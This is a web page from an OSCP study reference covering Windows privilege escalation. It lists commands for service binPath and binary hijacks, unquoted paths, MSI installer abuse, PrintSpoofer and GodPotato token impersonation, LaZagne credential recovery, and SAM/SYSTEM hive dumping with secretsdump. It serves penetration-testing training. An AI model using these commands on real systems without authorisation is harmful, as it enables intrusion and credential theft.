Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Local privilege/Windows escalation

REFERENCE / 13 TASKS

Windows escalation

Check the token and host, then use winPEAS or a focused helper. Inspect the exact service, task, file permission or credential that it reports.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Enumeration scripts & software checks
    • Turn automated Windows findings into manually verified candidates
    • Select a matching application, driver or kernel exploit
  • Token, ACL and credential state
    • Establish Windows token, host and process context
    • Prove effective file, registry and service-object permissions
    • Recover Windows application, history and stored-credential artifacts
  • Services and privileged consumers
    • Change a privileged service's executable configuration
    • Replace a privileged service binary or consumed file
    • Exploit an unquoted service path with a writable earlier prefix
    • Control a privileged DLL, helper or configuration load
    • Control scheduled tasks, startup files or autostart consumers
  • Installer and token-backed operations
    • Validate elevated installer policy and administrative-token context
    • Select a privilege-backed impersonation or object-control route
    • Use backup privilege to obtain protected local credential material

Tools & scripts

winPEAS upstream ↗
Early Windows candidate collection; inspect out.txt.
Seatbelt upstream ↗
Choose a focused system or current-user survey.
PrivescCheck upstream ↗
Check permissions in the current token, with readable reports.
LaZagne upstream ↗
Recover supported application stores in the accessible user context.

Enumeration scripts & software checks

Turn automated Windows findings into manually verified candidates

Contents ↑

Use when: A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials

Needs: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Windows commands

REM Baseline
winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"

PowerShell commands

# Baseline
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Convert every highlight into

# Convert every highlight into
CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS

Read / verify → Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding

If it fails → Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding

  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions
  • Effective SERVICE_CHANGE_CONFIG on a higher-privileged service → Change a privileged service's executable configuration
  • whoami /priv exposes a relevant token privilege → Select a privilege-backed impersonation or object-control route

Prerequisite checks & examples →Full technique →

Select a matching application, driver or kernel exploit

Contents ↑

Use when: An exact vulnerable local component is present after simpler paths are assessed

Needs: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

PowerShell commands

# Baseline
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation

Windows commands

REM Baseline
systeminfo
driverquery /v

Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid Win32_Product; it is slow and can trigger MSI repair.

Read / verify → Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

If it fails → A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

  • A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration
  • An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Token, ACL and credential state

Establish Windows token, host and process context

Contents ↑

Use when: A new Windows session or claimed administrator/SYSTEM transition

Needs: A functioning command channel and the actual effective token/process context

Windows commands

REM Baseline
hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v

PowerShell commands

# Baseline
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators

Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process. Get-HotFix does not list every update; use build/KB output only to form a version hypothesis.

WMIC compatibility fallbacks

REM WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine

REM WMIC compatibility fallbacks
whoami /all
hostname
ipconfig /all

After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.

Read / verify → Verify represented user/SID, enabled group/privilege state and actual privileged operation.

If it fails → A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions
  • Effective SERVICE_CHANGE_CONFIG on a higher-privileged service → Change a privileged service's executable configuration
  • whoami /priv exposes a relevant token privilege → Select a privilege-backed impersonation or object-control route
  • A service command line contains unquoted spaces → Exploit an unquoted service path with a writable earlier prefix
  • Installer policy values or an administrator account with a filtered token → Validate elevated installer policy and administrative-token context

Prerequisite checks & examples →Full technique →

Prove effective file, registry and service-object permissions

Contents ↑

Use when: A privileged object appears writable or an ACL tool reports a useful right

Needs: Correct trustee/token, object type and effective rights including parents and deny entries

Windows commands

REM Baseline
icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Read / verify → Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.

If it fails → Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.

  • A privileged service consumes a file whose bytes or parent replacement are controllable → Replace a privileged service binary or consumed file
  • A task/startup action consumes a writable command, file, directory or registry value → Control scheduled tasks, startup files or autostart consumers
  • A privileged application searches for a missing dependency or consumes writable configuration → Control a privileged DLL, helper or configuration load

Prerequisite checks & examples →Full technique →

Recover Windows application, history and stored-credential artifacts

Contents ↑

Use when: Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries

Needs: Artifact read permission and exact protecting identity/context for saved or DPAPI material

Stored credentials and PowerShell trails

REM Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

Stored credentials and PowerShell trails

# Stored credentials and PowerShell trails
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

Targeted application/file/registry search

REM Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul

Targeted application/file/registry search

# Targeted application/file/registry search
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.

Saved credential consumer

REM Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe

Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.

LaZagne — recover application credentials in the current user's context

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

REM LaZagne — recover application credentials in the current user's context
REM Browser-store leads for the current user
laZagne.exe browsers

REM Broader recovery, with a local text report
laZagne.exe all -oN

Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.

LaZagne — recover application credentials in the current user's context

# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }

# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false

Read / verify → Tie each value to a source/account/service and verify any new token with whoami /all.

If it fails → Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • Saved credentials or protected application blobs/master keys → Use Credential Manager and DPAPI with the protecting context

Prerequisite checks & examples →Full technique →

Services and privileged consumers

Change a privileged service's executable configuration

Contents ↑

Use when: Effective SERVICE_CHANGE_CONFIG on a higher-privileged service

Needs: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

PowerShell commands

# Baseline
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName

Windows commands

REM Baseline
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

REM Preserve BINARY_PATH_NAME, account and start mode first
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

REM Restore
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

REM Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Read / verify → Verify the payload's effect and service execution identity, then restore the saved configuration.

If it fails → Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

  • Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A task/startup action consumes a writable command, file, directory or registry value → Control scheduled tasks, startup files or autostart consumers

Prerequisite checks & examples →Full technique →

Replace a privileged service binary or consumed file

Contents ↑

Use when: A privileged service consumes a file whose bytes or parent replacement are controllable

Needs: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Writable service binary or replaceable parent

REM Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Read / verify → Prove actual selected file, trigger and resulting token; retain the recovery copy privately.

If it fails → File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions

Prerequisite checks & examples →Full technique →

Exploit an unquoted service path with a writable earlier prefix

Contents ↑

Use when: A service command line contains unquoted spaces

Needs: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

PowerShell commands

# Baseline
Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

Windows commands

REM Baseline
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as C:\Program.exe or C:\Program Files\Vendor.exe is absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.

Read / verify → Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

If it fails → A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions
  • A privileged service consumes a file whose bytes or parent replacement are controllable → Replace a privileged service binary or consumed file
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Control a privileged DLL, helper or configuration load

Contents ↑

Use when: A privileged application searches for a missing dependency or consumes writable configuration

Needs: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Windows commands

REM Baseline
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process, CreateFile, .dll, and NAME NOT FOUND provide decisive runtime evidence; low-privilege remote use may be unavailable.

Read / verify → Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

If it fails → Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

  • An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC
  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Control scheduled tasks, startup files or autostart consumers

Contents ↑

Use when: A task/startup action consumes a writable command, file, directory or registry value

Needs: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Scheduled tasks

REM Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Scheduled tasks

# Scheduled tasks
Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}

Scheduled tasks

REM Scheduled tasks
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

REM Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.

Read / verify → Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

If it fails → Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • Effective SERVICE_CHANGE_CONFIG on a higher-privileged service → Change a privileged service's executable configuration

Prerequisite checks & examples →Full technique →

Installer and token-backed operations

Validate elevated installer policy and administrative-token context

Contents ↑

Use when: Installer policy values or an administrator account with a filtered token

Needs: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

Windows commands

REM Baseline
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1

REM Both values must be 0x1
msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

REM Baseline
whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

Read / verify → Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

If it fails → One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • whoami /priv exposes a relevant token privilege → Select a privilege-backed impersonation or object-control route
  • An existing exploit/delivery primitive needs a binary or raw payload → Generate a payload matching OS, process, format and handler

Prerequisite checks & examples →Full technique →

Select a privilege-backed impersonation or object-control route

Contents ↑

Use when: whoami /priv exposes a relevant token privilege

Needs: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Windows commands

REM Baseline
whoami /priv

REM Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"

REM Impersonation-tool variants
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

REM Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by whoami /all; connection/token/process errors route back to prerequisites.

Backup privilege to local credential material

# Backup privilege to local credential material
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Read / verify → Verify the resulting token or concrete protected-object operation, not the tool's success text.

If it fails → Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

  • A token has the relevant backup rights and protected registry/files are a useful credential source → Use backup privilege to obtain protected local credential material
  • A controlled Windows host may hold useful logged-on identities → Obtain accessible live logon-session credential material
  • An exact vulnerable local component is present after simpler paths are assessed → Select a matching application, driver or kernel exploit

Prerequisite checks & examples →Full technique →

Use backup privilege to obtain protected local credential material

Contents ↑

Use when: A token has the relevant backup rights and protected registry/files are a useful credential source

Needs: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

Backup privilege to local credential material

REM Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

Backup privilege to local credential material

# Backup privilege to local credential material
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Read / verify → Verify complete matched source artifacts and exact account mapping after parsing.

If it fails → Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.

  • Protected local registry material is available under sufficient host privilege → Extract local account hashes from matched SAM and SYSTEM
  • An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Record the token and host context

Check the current token before choosing an exploit or collector build.

hostname
whoami /all
systeminfo
ipconfig /all
  • If SeImpersonatePrivilege → Select a privilege-backed impersonation or object-control route

    Check its enabled state and the operation/access needed by that specific technique.

  • If SeBackupPrivilege → Use backup privilege to obtain protected local credential material

    Inspect the permitted backup operation and the exact source it can read.

  • If Service/task activity or a useful group membership → Prove effective file, registry and service-object permissions

    Inspect the actual objects and ACLs.

Otherwise: No immediate token route: run the broad collector, then verify its service/file findings. Open Turn automated Windows findings into manually verified candidates →

Full commands & alternatives →

Run winPEAS early and save its report

Transfer a reviewed binary matching the host architecture. The log option writes out.txt; inspect it before selecting a route. Native checks remain available if execution is blocked.

winPEASx64.exe log
  • If Modifiable service or writable service binary → Change a privileged service's executable configuration

    Check sc qc/sdshow and the actual binary/parent ACL, service account and restart rights.

  • If Unquoted service path → Exploit an unquoted service path with a writable earlier prefix

    Check the exact executable prefixes for write access and a privileged restartable consumer.

  • If A saved credential/config finding → Recover Windows application, history and stored-credential artifacts

    Read the named source and classify the account/material.

Otherwise: The collector is blocked or reports no useful candidate: continue native ACL/service/task inspection. Open Prove effective file, registry and service-object permissions →

Full commands & alternatives →Transfer/setup →

Verify the specific service/task route

Configuration write, binary replacement, unquoted-prefix write and dependency loading require different rights.

whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE
  • If Service configuration can be changed → Change a privileged service's executable configuration

    Confirm the service runs as a stronger identity and you can cause a start/restart.

  • If Only the binary or its parent is writable → Replace a privileged service binary or consumed file

    Check replacement semantics, the consumer identity and a trigger.

  • If A scheduled task consumes a writable file → Control scheduled tasks, startup files or autostart consumers

    Inspect the task principal, action and schedule.

Otherwise: The highlighted path is not effectively writable: reject that candidate and inspect another actual object. Open Prove effective file, registry and service-object permissions →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8